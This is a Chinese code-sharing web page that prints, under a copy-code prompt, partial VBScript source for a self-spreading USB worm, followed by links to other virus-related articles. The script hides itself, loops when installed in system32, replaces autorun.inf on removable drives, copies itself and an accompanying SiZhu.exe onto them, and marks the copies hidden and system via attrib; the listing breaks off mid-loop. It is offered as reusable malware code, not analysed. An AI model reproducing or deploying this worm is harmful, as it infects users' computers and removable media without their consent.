一段病毒常用的VBS代码
来源:本站原创|时间:2022-11-25|栏目:vb|
复制代码 代码如下:
On error resume next
Dim fso,wshell,curfolder,curdristr,curdri
Set fso=createobject("scripting.filesystemobject")
Set wshell=CreateObject("WScript.shell")
Set curfolder=fso.GetFolder(".")
curdristr=Left(WScript.ScriptFullName,3)
Set curdri=fso.GetDrive(curdristr)
reghid() '不显示隐藏文件
If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\mp3.vbs" Then '如果在system32中
For i=1 To 2 Step 0
reghid()
For Each dri In fso.Drives
If dri.DriveType=1 And dri<>"A:" And dri<>"B:" Then
'autorun.inf文件夹改名
If fso.FolderExists(dri.Path&"\autorun.inf") Then
fso.MoveFolder dri.Path&"\autorun.inf",dri.Path&"\Rubbish"
End If
'复制自身及exe文件到移动硬盘
If fso.FileExists(dri.Path&"\mp3.vbs") And fso.FileExists(dri.Path&"\autorun.inf") Then
Else
If fso.FileExists(dri.Path&"\mp3.vbs") Then
fso.DeleteFile dri.Path&"\mp3.vbs",True
ElseIf fso.FileExists(dri.Path&"\autorun.inf") Then
fso.DeleteFile dri.Path&"\autorun.inf",True
End if
fso.CopyFile WScript.ScriptFullName,dri.Path&"\mp3.vbs",True
If fso.FileExists(".\SiZhu.exe") And Not fso.FileExists(dri.Path&"\SiZhu.exe") Then
fso.CopyFile ".\SiZhu.exe",dri.Path&"\SiZhu.exe",True
End If
autoinf(dri.Path)
'给刚复制的文件加上隐藏属性
Set norkon=fso.GetFile(dri.Path&"\mp3.vbs")
wshell.run "attrib +r +a +s +h "&dri.Path&"\mp3.vbs",0
Set norkon=Nothing
您可能感兴趣的文章
- 01-10VBS脚本病毒原理分析与防范
- 01-10防止网页脚本病毒执行的方法-from web
- 01-10vbs脚本病毒生成器 下载
- 01-10NYboy.vbs病毒源代码公布,我来模拟熊猫烧香
- 01-10vbs病毒的简单例子源代码解析
- 01-10最新恶意复制型病毒autorun.inf,stNP.VBS,NP.VBS代码简单解析和解决
- 01-10用vbs实现的一款Worm.Win32.VB.fw病毒专杀
- 01-10病毒专杀VBS模块
- 01-10最新病毒结合auto.exe,游戏盗号木马下载者手工查杀microsofts.vbs
- 01-10vbs病毒制作之一复制自身的vbs脚本